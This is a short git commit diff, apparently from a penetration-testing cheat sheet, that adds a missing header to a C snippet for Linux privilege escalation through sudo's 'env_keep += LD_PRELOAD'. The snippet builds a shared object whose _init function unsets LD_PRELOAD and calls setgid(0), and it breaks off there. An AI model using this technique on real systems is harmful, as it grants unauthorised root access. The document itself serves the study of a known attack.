add missing header file

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M4x 2021-07-26 16:04:39 +08:00 committed by GitHub
parent 3a4bd97762
commit 9086ff9d03
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@ -442,10 +442,11 @@ Defaults env_keep += LD_PRELOAD
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```powershell
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);